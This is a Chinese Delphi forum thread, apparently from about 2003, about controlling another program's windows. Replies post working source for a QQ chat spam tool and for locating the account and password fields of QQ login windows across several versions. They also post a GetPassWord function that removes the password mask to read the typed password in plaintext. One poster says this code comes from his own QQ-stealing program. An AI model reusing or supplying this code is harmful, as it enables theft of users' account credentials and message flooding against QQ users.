如何控制2003版QQ的主窗口?(100分)

  • 主题发起人 主题发起人 luckhacker
  • 开始时间 开始时间
L

luckhacker

Unregistered / Unconfirmed
GUEST, unregistred user!
1、如何获得句柄?<br>&nbsp;2、如何隐藏或恢复?<br>&nbsp;3、如何取得密码框的密码原文?
 
我也想知道.<br>关注一下!
 
第一个可以用API实现。方法你找一下。<br>后面的,我只能帮你顶啦
 
QQ是比较麻烦的。他的登陆窗口的标题是变化的 ....
 
Faczxy, 第一个要用哪个API??<br>边尘浪子, 这个我了解,我不用窗口标题来获得,可否通过别的方法来获得(如classname,或进程名等等)。<br>
 
肯定没问题,获得他的classname<br>showwindow(hwnd,sw_hide)<br>至于密码,在win2k下面不行<br>在98下面没问题,<br>我以前做过这方面的东西
 
yf168, 可以让我看看吗?谢谢
 
获得句柄好象是用<br>gethandle
 
你意图何在?如果只是想深入系统的话,《Avanced Windows&gt;&gt;可以满足你了,<br>如果不是,抱歉,无可奉告!<br>呵呵
 
我可不是想偷QQ,我只是想学习一下系统方面的知识。<br>delphigun, 你说的那个是E文的吗?
 
下面是从网上找到的。看能不能帮上你!<br>======================<br>unit Unit1;<br><br>interface<br><br>uses<br>&nbsp; Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,<br>&nbsp; Dialogs, Mask, StdCtrls, Buttons, ComCtrls;<br><br>type<br>&nbsp; TForm1 = class(TForm)<br>&nbsp; &nbsp; ListBox1: TListBox;<br>&nbsp; &nbsp; GroupBox1: TGroupBox;<br>&nbsp; &nbsp; Memo1: TMemo;<br>&nbsp; &nbsp; CheckBox1: TCheckBox;<br>&nbsp; &nbsp; Label1: TLabel;<br>&nbsp; &nbsp; BitBtn1: TBitBtn;<br>&nbsp; &nbsp; BitBtn2: TBitBtn;<br>&nbsp; &nbsp; Button1: TButton;<br>&nbsp; &nbsp; Button2: TButton;<br>&nbsp; &nbsp; Edit1: TEdit;<br>&nbsp; &nbsp; StatusBar1: TStatusBar;<br>&nbsp; &nbsp; procedure Button1Click(Sender: TObject);<br>&nbsp; &nbsp; procedure Button2Click(Sender: TObject);<br>&nbsp; &nbsp; procedure ListBox1DblClick(Sender: TObject);<br>&nbsp; &nbsp; procedure FormCreate(Sender: TObject);<br>&nbsp; &nbsp; procedure BitBtn1Click(Sender: TObject);<br>&nbsp; &nbsp; procedure BitBtn2Click(Sender: TObject);<br>&nbsp; &nbsp; procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);<br>&nbsp; private<br>&nbsp; &nbsp; { Private declarations }<br>&nbsp; public<br>&nbsp; &nbsp; { Public declarations }<br>&nbsp; end;<br><br>sendmsgthread=class(TThread)<br>public<br>procedure execute;override;<br>end;<br><br>var<br>&nbsp; Form1: TForm1;<br>&nbsp; qqformid:hwnd;<br>&nbsp; rid,chishu:integer;<br>&nbsp; mysend:sendmsgthread;<br>implementation<br><br>{$R *.dfm}<br>//找QQ聊天窗口<br>function FqqID(ahwnd:hwnd;w:integer):boolean;stdcall;<br>&nbsp;var wintext,w2:pchar;<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; result:=true;<br>&nbsp; &nbsp; getmem(wintext,100);<br>&nbsp; &nbsp; getmem(w2,102);<br>&nbsp; &nbsp; getwindowtext(ahwnd,wintext,100);<br>&nbsp; &nbsp; w2:=strlcopy(w2,wintext,2);<br>&nbsp; &nbsp; if w2='与' then<br>&nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; qqformid:=ahwnd;<br>&nbsp; &nbsp; &nbsp; end;<br>end;<br><br>//找到class是richedit的,发文本发给它。<br>function FmsgID(ahwnd:hwnd;w:integer):boolean;stdcall;<br>&nbsp;var wintext,w2:pchar;<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; result:=true;<br>&nbsp; &nbsp; getmem(wintext,100);<br>&nbsp; &nbsp; getmem(w2,102);<br>&nbsp; &nbsp; getclassname(ahwnd,wintext,100);<br>&nbsp; &nbsp; if wintext='RICHEDIT' then<br>&nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; if form1.CheckBox1.Checked then<br>&nbsp; &nbsp; &nbsp; &nbsp; sendmessage(ahwnd,WM_settext,0,integer(pchar(form1.listbox1.Items[random(form1.listbox1.Count-1)])))<br>&nbsp; &nbsp; &nbsp; &nbsp; else<br>&nbsp; &nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if length(form1.memo1.Lines.text)=0 then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sendmessage(ahwnd,WM_settext,0,integer(pchar(form1.listbox1.Items[rid])))<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sendmessage(ahwnd,WM_settext,0,integer(pchar(form1.Memo1.lines.text)));<br>&nbsp; &nbsp; &nbsp; &nbsp; end;<br><br>&nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; freemem(wintext);<br>&nbsp; &nbsp; freemem(w2);<br>&nbsp; &nbsp; end;<br><br>//找到发送按钮,点击他。<br>function FsendID(ahwnd:hwnd;w:integer):boolean;stdcall;<br>&nbsp;var wintext,w2:pchar;<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; result:=true;<br>&nbsp; &nbsp; getmem(wintext,100);<br>&nbsp; &nbsp; getmem(w2,102);<br>&nbsp; &nbsp; getwindowtext(ahwnd,wintext,100);<br>&nbsp; &nbsp; if wintext='发送(&amp;S)' then<br>&nbsp; &nbsp; &nbsp;begin<br>&nbsp; &nbsp; &nbsp;sendmessage(ahwnd,bm_click,0,0);<br>&nbsp; &nbsp; &nbsp;end;<br><br>end;<br><br>//用线程发送消息。<br>procedure sendmsgthread.execute;<br>var i:integer;<br>begin<br>qqformid:=0;<br>enumwindows(@fqqid,0);<br>if qqformid&lt;&gt;0 then<br>begin<br>for i:=1 to chishu do<br>&nbsp; begin<br>&nbsp; if terminated then exit;<br>&nbsp; enumchildwindows(qqformid,@fmsgid,0);<br>&nbsp; enumchildwindows(qqformid,@fsendid,0);<br>&nbsp; form1.StatusBar1.Panels.Items[0].Text:='正在发送第'+inttostr(i)+'条信息...';<br>&nbsp; sleep(1500);<br>&nbsp; if rid&gt;=form1.ListBox1.Count-1 then rid:=0;<br>&nbsp; rid:=rid+1<br>&nbsp; end;<br>&nbsp; form1.StatusBar1.Panels.Items[0].Text:='信息已发送完毕';<br>&nbsp; form1.bitbtn1.Enabled:=true;<br>&nbsp; form1.bitbtn2.Enabled:=false;<br>&nbsp; form1.checkbox1.Enabled:=true;<br>&nbsp; form1.memo1.ReadOnly:=false;<br>&nbsp; form1.edit1.ReadOnly:=false;<br><br>&nbsp; end<br>&nbsp; &nbsp;else<br>&nbsp; &nbsp;form1.StatusBar1.Panels.Items[0].Text:='无法找到QQ聊天窗口';<br>end;<br><br><br>//增加列表内容<br>procedure TForm1.Button1Click(Sender: TObject);<br>var<br>f:textfile;<br>begin<br><br>&nbsp;if trim(memo1.Lines.text)&lt;&gt;'' then<br>&nbsp;begin<br>&nbsp;assignfile(f,'qqmsg.txt');<br>&nbsp;append(f);<br>&nbsp;write(f,memo1.lines.text+#13#10'[next]'#13#10);<br>&nbsp;closefile(f);<br>&nbsp;listbox1.Items.Add(memo1.lines.text);<br>&nbsp; memo1.Lines.text:='';<br>&nbsp;end;<br><br><br>end;<br><br>//删除列表一个内容<br>procedure TForm1.Button2Click(Sender: TObject);<br>var<br>i:integer;<br>f:textfile;<br>temp:string;<br>begin<br>&nbsp;assignfile(f,'qqmsg.txt');<br>&nbsp;rewrite(f);<br>&nbsp;listbox1.Items.Delete(listbox1.itemindex);<br>&nbsp;for i:=0 to listbox1.count-1 do<br>&nbsp;begin<br>&nbsp;temp:=listbox1.Items;<br>&nbsp;write(f,temp+#13#10'[next]'#13#10);<br>&nbsp;end;<br>&nbsp;closefile(f);<br><br><br>end;<br><br><br>//列表被双击时,把选项转入memo<br>procedure TForm1.ListBox1DblClick(Sender: TObject);<br>begin<br>memo1.Lines.text:=listbox1.Items[listbox1.itemindex];<br>end;<br><br>//窗口建立时,把列表读入;<br>procedure TForm1.FormCreate(Sender: TObject);<br>var<br>f:textfile;<br>temp,st:string;<br>begin<br>&nbsp;randomize;<br>&nbsp;assignfile(f,'qqmsg.txt');<br>&nbsp;reset(f);<br>&nbsp;while not eof(f) do<br>&nbsp;begin<br>&nbsp; &nbsp;st:='';<br>&nbsp; &nbsp;temp:='';<br>&nbsp; &nbsp;while (temp&lt;&gt;'[next]') and (not eof(f)) do<br>&nbsp; &nbsp;begin<br>&nbsp; &nbsp;st:=st+temp;<br>&nbsp; &nbsp;readln(f,temp);<br>&nbsp; &nbsp;end;<br>&nbsp; &nbsp;listbox1.Items.Add(st);<br>&nbsp;end;<br>&nbsp;closefile(f);<br>end;<br><br>//开始灌水<br>procedure TForm1.BitBtn1Click(Sender: TObject);<br>begin<br>if strtoint(edit1.text)&gt;0 then<br>&nbsp; begin<br>&nbsp; rid:=0;<br>&nbsp; chishu:=strtoint(edit1.text);<br>&nbsp; mysend:=sendmsgthread.Create(false);<br>&nbsp; bitbtn1.Enabled:=false;<br>&nbsp; bitbtn2.Enabled:=true;<br>&nbsp; checkbox1.Enabled:=false;<br>&nbsp; memo1.ReadOnly:=true;<br>&nbsp; edit1.ReadOnly:=true;<br>&nbsp; end<br>&nbsp; else<br>&nbsp; begin<br><br>&nbsp; end;<br>end;<br><br><br>//停止灌水<br>procedure TForm1.BitBtn2Click(Sender: TObject);<br>begin<br>bitbtn1.Enabled:=true;<br>bitbtn2.Enabled:=false;<br>checkbox1.Enabled:=true;<br>memo1.ReadOnly:=false;<br>edit1.ReadOnly:=false;<br>mysend.Terminate;<br>form1.StatusBar1.Panels.Items[0].Text:='你终止了操作.......';<br><br>end;<br><br>procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);<br>begin<br>application.MessageBox('欢迎你使用QQ灌水机'#13#10#13#10+'技术支持:yzp0755@163.com','再见');<br>end;<br>end.
 
for oicq 0630c :<br>{<br>&nbsp; &nbsp;Oicq :<br>&nbsp; &nbsp; &nbsp;Ver : 0630<br>&nbsp; Create:<br>&nbsp; &nbsp; 2003-09-22<br>}<br><br>unit UVerFirst;<br><br>interface<br><br>uses SysUtils, Windows;<br><br>// 获取登录窗口的句柄<br>function GetWindowHandleVerFirst: Integer;<br><br>function GetVerFirstUserCodeHandleEx(WindowHandle: Integer): Integer;<br><br>function GetVerFirstUserPswHandleEx(WindowHandle: Integer): Integer;<br><br>implementation<br><br>{* &nbsp;确认是否是 0630c 版本 &nbsp;*}<br><br>function GetWindowHandleVerFirst: Integer;<br>var<br>&nbsp; hWindowsHandle, hStaticHandle: Integer;<br>begin<br>&nbsp; Result := 0;<br>&nbsp; hWindowsHandle := FindWindow('#32770', nil);<br>&nbsp; if hWindowsHandle &lt;&gt; 0 then<br>&nbsp; begin<br>&nbsp; &nbsp; hStaticHandle := FindWindowEx(hWindowsHandle, 0,<br>&nbsp; &nbsp; &nbsp; 'Static', '申请密码保护,确保号码安全');<br>&nbsp; &nbsp; if hStaticHandle &lt;&gt; 0 then<br>&nbsp; &nbsp; &nbsp; Result := hWindowsHandle;<br>&nbsp; end;<br>end;<br><br>{* &nbsp;取的账号信息 &nbsp;*}<br><br>function GetVerFirstUserCodeHandleEx(WindowHandle: Integer): Integer;<br>&nbsp; function GetVerFirstUserCodeHandle(hwnd: Integer; lparam: Longint):<br>&nbsp; &nbsp; &nbsp; Boolean; stdcall;<br>&nbsp; var<br>&nbsp; &nbsp; buffer: array[0..255] of Char;<br>&nbsp; &nbsp; buffer1: array[0..255] of Char;<br>&nbsp; begin<br>&nbsp; &nbsp; Result := True;<br>&nbsp; &nbsp; //得到目标窗口的控件<br>&nbsp; &nbsp; GetClassName(hwnd, buffer, 256);<br>&nbsp; &nbsp; //找到发消息的目标窗口的目标控件<br>&nbsp; &nbsp; if StrPas(Buffer) = 'ComboBox' then<br>&nbsp; &nbsp; begin<br>// &nbsp; &nbsp; &nbsp;GetWindowText(hwnd, buffer1, 100);<br>&nbsp; &nbsp; &nbsp; PInteger(lparam)^ := hwnd; //得到目标控件的Hwnd(句柄)<br>&nbsp; &nbsp; &nbsp; Result := False; //终止循环<br>&nbsp; &nbsp; end;<br>&nbsp; end; //end of function<br><br>var<br>&nbsp; MyUserCodeComboBoxHandle: Integer;<br>begin<br>&nbsp; Result := 0;<br>&nbsp; if WindowHandle &lt;&gt; 0 then<br>&nbsp; begin<br>&nbsp; &nbsp; MyUserCodeComboBoxHandle := WindowHandle;<br>&nbsp; &nbsp; EnumChildWindows(MyUserCodeComboBoxHandle, @GetVerFirstUserCodeHandle,<br>&nbsp; &nbsp; &nbsp; Integer(@MyUserCodeComboBoxHandle));<br>&nbsp; &nbsp; Result := MyUserCodeComboBoxHandle;<br>&nbsp; end;<br>end;<br><br>{* &nbsp;取的密码信息 &nbsp;*}<br><br>function GetVerFirstUserPswHandleEx(WindowHandle: Integer): Integer;<br>&nbsp; function GetVerFirstUserPswHandle(hwnd: Integer; lparam: Longint):<br>&nbsp; &nbsp; &nbsp; Boolean; stdcall;<br>&nbsp; var<br>&nbsp; &nbsp; buffer: array[0..255] of Char;<br>&nbsp; &nbsp; buffer1: array[0..255] of Char;<br>&nbsp; &nbsp; hLong: Integer;<br>&nbsp; begin<br>&nbsp; &nbsp; Result := True;<br>&nbsp; &nbsp; //得到目标窗口的控件<br>&nbsp; &nbsp; GetClassName(hwnd, buffer, 256);<br>&nbsp; &nbsp; //找到发消息的目标窗口的目标控件<br>&nbsp; &nbsp; if StrPas(Buffer) = 'Edit' then<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; PInteger(lparam)^ := hwnd; //得到目标控件的Hwnd(句柄)<br>&nbsp; &nbsp; &nbsp; Result := False; //终止循环<br>&nbsp; &nbsp; end;<br>&nbsp; end; //end of function<br><br>var<br>&nbsp; MyUserPswEditHandle: Integer;<br>begin<br>&nbsp; Result := 0;<br>&nbsp; if WindowHandle &lt;&gt; 0 then<br>&nbsp; begin<br>&nbsp; &nbsp; MyUserPswEditHandle := WindowHandle;<br>&nbsp; &nbsp; EnumChildWindows(MyUserPswEditHandle, @GetVerFirstUserPswHandle,<br>&nbsp; &nbsp; &nbsp; Integer(@MyUserPswEditHandle));<br>&nbsp; &nbsp; Result := MyUserPswEditHandle;<br>&nbsp; end;<br>end;<br><br>end.<br><br>
 
//for 0808:<br>{<br>&nbsp; &nbsp;Oicq :<br>&nbsp; &nbsp; &nbsp;Ver : 0808<br>&nbsp; Create:<br>&nbsp; &nbsp; 2003-09-22<br>}<br><br>unit UVerSecond;<br><br>interface<br><br>uses SysUtils, Windows;<br><br>function GetWindowHandleVerSecond: Integer;<br><br>function GetVerSecondUserCodeHandleEx(WindowHandle: Integer): Integer;<br><br>function GetVerSecondUserPswHandleEx(WindowHandle: Integer): Integer;<br><br>implementation<br><br>{* &nbsp;确认是否是 0808 版本 &nbsp;*}<br><br>function GetWindowHandleVerSecond: Integer;<br>var<br>&nbsp; hWindowsHandle, hStaticHandle: Integer;<br>begin<br>&nbsp; Result := 0;<br>&nbsp; hWindowsHandle := FindWindow('#32770', nil);<br>&nbsp; if hWindowsHandle &lt;&gt; 0 then<br>&nbsp; begin<br>&nbsp; &nbsp; hStaticHandle := FindWindowEx(hWindowsHandle, 0,<br>&nbsp; &nbsp; &nbsp; 'Static', '申请密码保护');<br>&nbsp; &nbsp; if hStaticHandle &lt;&gt; 0 then<br>&nbsp; &nbsp; &nbsp; Result := hWindowsHandle;<br>&nbsp; end;<br>end;<br><br>function GetVerSecondUserCodeHandleEx(WindowHandle: Integer): Integer;<br>&nbsp; function GetVerSecondUserCodeHandle(hwnd: Integer; lparam: Longint):<br>&nbsp; &nbsp; &nbsp; Boolean; stdcall;<br>&nbsp; var<br>&nbsp; &nbsp; buffer: array[0..255] of Char;<br>&nbsp; &nbsp; buffer1: array[0..255] of Char;<br>&nbsp; begin<br>&nbsp; &nbsp; Result := True;<br>&nbsp; &nbsp; //得到目标窗口的控件<br>&nbsp; &nbsp; GetClassName(hwnd, buffer, 256);<br>&nbsp; &nbsp; //找到发消息的目标窗口的目标控件<br>&nbsp; &nbsp; if StrPas(Buffer) = 'ComboBox' then<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; GetWindowText(hwnd, buffer1, 100);<br>&nbsp; &nbsp; &nbsp; PInteger(lparam)^ := hwnd; //得到目标控件的Hwnd(句柄)<br>&nbsp; &nbsp; &nbsp; Result := False; //终止循环<br>&nbsp; &nbsp; end;<br>&nbsp; end; //end of function<br><br>var<br>&nbsp; MyUserCodeComboBoxHandle: Integer;<br>begin<br>&nbsp; Result := 0;<br>&nbsp; if WindowHandle &lt;&gt; 0 then<br>&nbsp; begin<br>&nbsp; &nbsp; MyUserCodeComboBoxHandle := WindowHandle;<br>&nbsp; &nbsp; EnumChildWindows(MyUserCodeComboBoxHandle, @GetVerSecondUserCodeHandle,<br>&nbsp; &nbsp; &nbsp; Integer(@MyUserCodeComboBoxHandle));<br>&nbsp; &nbsp; Result := MyUserCodeComboBoxHandle;<br>&nbsp; end;<br>end;<br><br>function GetVerSecondUserPswHandleEx(WindowHandle: Integer): Integer;<br>&nbsp; function GetVerSecondUserPswHandle(hwnd: Integer; lparam: Longint):<br>&nbsp; &nbsp; &nbsp; Boolean; stdcall;<br>&nbsp; var<br>&nbsp; &nbsp; buffer: array[0..255] of Char;<br>&nbsp; &nbsp; buffer1: array[0..255] of Char;<br>&nbsp; &nbsp; hLong: Integer;<br>&nbsp; begin<br>&nbsp; &nbsp; Result := True;<br>&nbsp; &nbsp; //得到目标窗口的控件<br>&nbsp; &nbsp; GetClassName(hwnd, buffer, 256);<br>&nbsp; &nbsp; //找到发消息的目标窗口的目标控件<br>&nbsp; &nbsp; if StrPas(Buffer) = 'Edit' then<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; hLong := GetWindowLong(hwnd, GWL_EXSTYLE);<br>&nbsp; &nbsp; &nbsp; if ((hLong and WS_EX_NOPARENTNOTIFY) = WS_EX_NOPARENTNOTIFY) then<br>&nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; PInteger(lparam)^ := hwnd; //得到目标控件的Hwnd(句柄)<br>&nbsp; &nbsp; &nbsp; &nbsp; Result := False; //终止循环<br>&nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; end;<br>&nbsp; end; //end of function<br><br>var<br>&nbsp; MyUserPswEditHandle: Integer;<br>begin<br>&nbsp; Result := 0;<br>&nbsp; if WindowHandle &lt;&gt; 0 then<br>&nbsp; begin<br>&nbsp; &nbsp; MyUserPswEditHandle := WindowHandle;<br>&nbsp; &nbsp; EnumChildWindows(MyUserPswEditHandle, @GetVerSecondUserPswHandle,<br>&nbsp; &nbsp; &nbsp; Integer(@MyUserPswEditHandle));<br>&nbsp; &nbsp; Result := MyUserPswEditHandle;<br>&nbsp; end;<br>end;<br><br>end.<br>
 
// for 0925<br>{<br>&nbsp; &nbsp;Oicq :<br>&nbsp; &nbsp; &nbsp;Ver : 0925<br>&nbsp; Create:<br>&nbsp; &nbsp; 2003-11-27<br>}<br><br>unit UVer0925;<br><br>interface<br><br>uses SysUtils, Windows;<br><br>function GetWindowHandleVer0925: Integer;<br><br>function GetVer0925UserCodeHandleEx(WindowHandle: Integer): Integer;<br><br>function GetVer0925UserPswHandleEx(WindowHandle: Integer): Integer;<br><br>implementation<br><br>function GetWindowHandleVer0925: Integer;<br>var<br>&nbsp; hWindowsHandle, hStaticHandle: Integer;<br>begin<br>&nbsp; Result := 0;<br>&nbsp; hWindowsHandle := FindWindow('#32770', nil);<br>&nbsp; if hWindowsHandle &lt;&gt; 0 then<br>&nbsp; begin<br>&nbsp; &nbsp; hStaticHandle := FindWindowEx(hWindowsHandle, 0,<br>&nbsp; &nbsp; &nbsp; 'Static', '申请密码保护');<br>&nbsp; &nbsp; if hStaticHandle &lt;&gt; 0 then<br>&nbsp; &nbsp; &nbsp; Result := hWindowsHandle;<br>&nbsp; end;<br>end;<br><br>function GetVer0925UserCodeHandleEx(WindowHandle: Integer): Integer;<br>begin<br><br>end;<br><br>function GetVer0925UserPswHandleEx(WindowHandle: Integer): Integer;<br>&nbsp; function GetVerSecondUserPswHandle(hwnd: Integer; lparam: Longint):<br>&nbsp; &nbsp; &nbsp; Boolean; stdcall;<br>&nbsp; var<br>&nbsp; &nbsp; buffer: array[0..255] of Char;<br>&nbsp; &nbsp; buffer1: array[0..255] of Char;<br>&nbsp; &nbsp; hLong: Integer;<br>&nbsp; begin<br>&nbsp; &nbsp; Result := True;<br>&nbsp; &nbsp; //得到目标窗口的控件<br>&nbsp; &nbsp; GetClassName(hwnd, buffer, 256);<br>&nbsp; &nbsp; //找到发消息的目标窗口的目标控件<br>&nbsp; &nbsp; if StrPas(Buffer) = 'Edit' then<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; hLong := GetWindowLong(hwnd, GWL_EXSTYLE);<br>&nbsp; &nbsp; &nbsp; if ((hLong and WS_EX_NOPARENTNOTIFY) = WS_EX_NOPARENTNOTIFY) then<br>&nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; PInteger(lparam)^ := hwnd; //得到目标控件的Hwnd(句柄)<br>&nbsp; &nbsp; &nbsp; &nbsp; Result := False; //终止循环<br>&nbsp; &nbsp; &nbsp; end;<br>&nbsp; &nbsp; end;<br>&nbsp; end; //end of function<br><br>var<br>&nbsp; MyUserPswEditHandle: Integer;<br>begin<br>&nbsp; Result := 0;<br>&nbsp; if WindowHandle &lt;&gt; 0 then<br>&nbsp; begin<br>&nbsp; &nbsp; MyUserPswEditHandle := WindowHandle;<br>&nbsp; &nbsp; EnumChildWindows(MyUserPswEditHandle, @GetVerSecondUserPswHandle,<br>&nbsp; &nbsp; &nbsp; Integer(@MyUserPswEditHandle));<br>&nbsp; &nbsp; Result := MyUserPswEditHandle;<br>&nbsp; end;<br>end;<br><br>end.<br><br>
 
获取密码:<br>// 获取密码<br>function GetPassWord(IsHide: Boolean; HWND: Integer): PChar;<br><br>function GetPassWord(IsHide: Boolean; HWND: Integer): PChar;<br>var<br>&nbsp; mPoint: TPoint;<br>&nbsp; Ret: LongInt;<br>&nbsp; mText: PChar;<br>&nbsp; Buf: Integer;<br>begin<br>&nbsp; Result := '';<br>&nbsp; GetMem(mText, 1024 * 8);<br>&nbsp; try<br>&nbsp; &nbsp; PostMessage(HWND, EM_SETPASSWORDCHAR, LongInt(0), 0);<br>&nbsp; &nbsp; Ret := SendMessage(HWND, WM_GETTEXTLENGTH, 0, 0) + 1;<br>&nbsp; &nbsp; Buf := LongInt(mText);<br>&nbsp; &nbsp; SendMessage(HWND, WM_GETTEXT, Min(Ret, 1024 * 8), Buf);<br>&nbsp; &nbsp; Sleep(10);<br>&nbsp; &nbsp; InvalidateRgn(HWND, 0, False);<br>&nbsp; &nbsp; // 隐藏成为 *<br>&nbsp; &nbsp; if IsHide then<br>&nbsp; &nbsp; &nbsp; PostMessage(HWND, EM_SETPASSWORDCHAR, WParam('*'), 0);<br>&nbsp; &nbsp; Result := PChar(StrPas(mText));<br>&nbsp; finally<br>&nbsp; &nbsp; FreeMem(mText, 1024 * 8);<br>&nbsp; end;<br>end;
 
人在昆明提供的在2K下能行吗?<br>还有一个相关的问题:我如何向另一个程序的登录窗口中的密码输入框自动填入密码,我不会捕获密码输入框。谢谢
 
能,这个就是我写的一个偷qq 的程序中的代码!
 
1、findwindos<br>2、发送消息<br>3、我自己写了这中程序,要吗?<br>&nbsp; 其实就是大家知道的方法拉
 
网上有很多WINAPI方面的资料<br>&nbsp; &nbsp;多看看<br>建议看一下 windows 编成原理上下册 (我买的时候是80RMB D版 [:D])
 

Similar threads

S
回复
0
查看
786
SUNSTONE的Delphi笔记
S
S
回复
0
查看
698
SUNSTONE的Delphi笔记
S
后退
顶部